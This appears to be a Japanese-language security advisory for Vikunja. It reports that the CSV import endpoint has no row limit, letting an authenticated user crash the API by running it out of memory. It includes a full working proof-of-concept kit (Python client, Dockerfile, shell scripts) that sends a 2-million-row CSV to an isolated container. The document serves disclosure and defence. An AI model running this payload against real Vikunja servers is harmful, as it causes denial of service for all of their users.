Vikunja: CSVファイルの行数の上限がないことが、APIプロセスの停止を引き起こす可能性がある

# CSVファイルの行数の上限がないことが、APIプロセスの停止を引き起こす可能性がある

## 概要

認証されたv2のCSVインポート機能は、アップロードされるデータ量の制限は設けるものの、解析される行数には制限を設けていません。この機能は、すべてのレコードを[][]string型のデータ構造に読み込み、その後、挿入前に各行に対して完全なタスクオブジェクトを生成します。200万行の1セルデータを含むファイルは、約4MBのマルチパートリクエストで送信できますが、512MiBのAPIプロセスを枯渇させる可能性があります。

## 影響範囲

- **種類:** リソース枯渇によるCSVインポート
- **影響を受けるコンポーネント:** POST /api/v2/migration/csv/migrate
- **前提条件:** 通常の認証ユーザーが、非常に多くの小さなレコードを含むマルチパートCSVファイルと、有効なマッピング設定を送信します。
- **検証済みのバージョン:** 2026年8月28日の`349cd5adbcc831ef08b08e6c9c6d627603c39606`
- **影響を受けるバージョン範囲:** `= 2.5.0`; より広範囲な過去のバージョンについては未定であり、メンテナの確認が必要です。

権限の低いリモートユーザーは、設定されたアップロードデータ量の上限を大幅に下回るリクエストを送信することで、APIプロセスを停止させ、すべてのユーザーへのサービスを停止させることができます。

## 技術的な詳細

csv.Reader.ReadAllは、すべての行を保持します。その後、convertToVikunjaは、各行に対してタスク構造体を割り当てます。既存のアップロードデータ量の上限は、この行数の増加を制限しません。

攻撃経路:認証を行い、有効な無視マッピングを使用して、同期CSVインポート機能に200万行の1セルデータをアップロードし、行の解析とオブジェクト生成中にプロセスメモリを枯渇させます。

関連するコード:

- `pkg/routes/api/v2/migration_csv.go:96`
- `pkg/routes/api/v2/migration_csv.go:164`
- `pkg/modules/migration/csv/csv.go:281`
- `pkg/modules/migration/csv/csv.go:298`
- `pkg/modules/migration/csv/csv.go:590`
- `pkg/modules/migration/csv/csv.go:605`
- `pkg/modules/migration/csv/csv.go:627`
- `pkg/modules/migration/csv/csv.go:643`
- `pkg/modules/migration/csv/csv.go:655`

## 再現手順

この操作は、許可された、一時的な環境でのみ実行してください。完全で検証済みの最小限のファイルセットを以下に示します。これは、隔離されたターゲットを起動し、セキュリティに関わるトリガーを実行し、特定のターゲット/アプリケーションからの信号を検証し、利用可能なネガティブテストまたはコントロールを実行します。

`reproduction/Dockerfile` を作成します。

```text
FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# ターゲットのソースコードは、実行時に `/target-repo:ro` を通じてのみ提供されます。
# このイメージには、ビルドに必要な依存関係と再現のための補助ツールが含まれており、ソースコードのクローンではありません。

```

`reproduction/client.py` を作成します。

```python
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid

BASE = "http://target:3456"

def json_request(method, path, body=None, token=None, expected=None):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=30) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
```

```python
def wait_ready():
for _ in range(240):
try:
if json_request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("ターゲットが準備完了になりませんでした")

def register_and_login(username):
password = "PoC-password-123!"
json_request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
return login["token"]
```

```
def migrate(token, csv_data, config, expect_response):
boundary = "----PoC-" + uuid.uuid4().hex
body = (
f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
+ f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
+ csv_data
+ f"\r\n--{boundary}--\r\n".encode()
)
print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
req = urllib.request.Request(
BASE + "/api/v2/migration/csv/migrate",
data=body,
headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=90) as response:
status, data = response.status, response.read()
print(f"POST migrate -> {status} {data[:200]!r}", flush=True)
if expect_response and status != 200:
raise RuntimeError(f"制御が{status}を返しました。200を期待していました。")
if not expect_response:
raise RuntimeError(f"攻撃が予期せずHTTP {status}を返しました。")
except urllib.error.HTTPError as exc:
data = exc.read()
print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True)
if expect_response:
raise
raise RuntimeError(f"攻撃がHTTP {exc.code}で拒否されました。プロセスは終了しませんでした。")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
if expect_response:
raise
print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
```

```
def main():
wait_ready()
control_token = register_and_login("PoC-csv-control")
control_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "title"}]})
migrate(control_token, b"Title\ncontrol task\n", control_config, True)
json_request("GET", "/api/v1/info", expected=200)
print("PoC_CSV_CONTROL=PASS", flush=True)

attack_token = register_and_login("PoC-csv-attack")
attack_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "ignore"}]})
migrate(attack_token, b"x\n" * 2_000_000, attack_config, False)
print("PoC_CSV_ATTACK_SENT rows=2000000", flush=True)

if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_CSV_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise

```

`reproduction/prepare.sh` を作成します:

```sh
#!/usr/bin/env bash
set -euo pipefail

mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
```

`reproduction/run.sh` を作成します:
```sh
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"

cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT

mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] ターゲット ${TARGET_REF} のクローンと固定を行います。"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] ヘルパーイメージ ${IMAGE_TAG} を構築します。"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
-e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
"${IMAGE_TAG}" /app/vikunja web >/dev/null

```
set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
[[ "${STATE}" != "false 0 true" ]] && break
sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_CSV_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_CSV_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_CSV_ATTACK_SENT rows=2000000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
echo "[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination" >&2
exit 1
fi
echo "PoC_CSV_CARDINALITY=PASS rows=2000000 request_bytes_under_5MiB OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process"

```

`reproduction/frontend-placeholder.html` ファイルを作成します:

```html
<!doctype html><title>PoC backend reproduction placeholder</title>

```

これらのファイルが含まれるディレクトリから、以下のコマンドを実行します:

```sh
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
```

**期待される結果:** 低権限のCSVインポートリクエストが、解析された行とタスクのマテリアライズによる増幅によって、APIプロセスを終了させます。

**観察された結果:** 通常のインポート制御はHTTP 200を返しました。 4,000,371バイト、200万行の攻撃リクエストが切断され、DockerはOOMKilled=true、ExitCode=137を記録しました。 実行中にPoC_CSV_CARDINALITY=PASSが出力されました。

**検証と制御:** クライアントは、成功制御と攻撃にそれぞれ独立した通常のユーザーを使用し、実際のマルチパートインポート形式を送信し、ホストスクリプトは制御マーカー、攻撃マーカー、およびDockerのOOMKilled=trueとExitCode=137を必要とします。

観察された証拠:

- 通常のCSVデータ移行時の応答: HTTP 200
- 攻撃: rows=2000000, request_bytes=4000371, RemoteDisconnected
- ターゲットコンテナ: OOMKilled=true, ExitCode=137
- PoC_CSV_CARDINALITY=PASS

## 推奨される対策

上記のような機密性の高い操作を実行する前に、意図された認証、サイズ、カーディナリティ、再帰、またはライフサイクル境界を適用してください。エラー発生時には、安全側に傾いて動作し、すべての終了パスで一部のリソースを解放し、脆弱性を再現し、ネガティブコントロールのテストケースを追加してください。

## 深刻度

**CVSS v4.0: 7.1 (High)** — ベクター: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`

この評価は暫定的なものであり、メンテナによる確認を待っています。スコアは、2026年8月28日にFIRST CVSS v4.0のリファレンス実装を使用して再計算されました。

## 報告の背景と情報源

AIによる分析によってこの問題が特定されました。この挙動は、隔離された環境で独立して再現および検証されました。

シドニー大学のセキュリティ研究チームによって報告されました。

- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)
- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)
- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)
- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)
- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)

ご質問や追加の検証情報、またはパッチ候補の検証については、喜んで対応いたします。

影響を受けるパッケージ:
- go code.vikunja.io/api: affected = 2.5.0, fixed in 2.6.0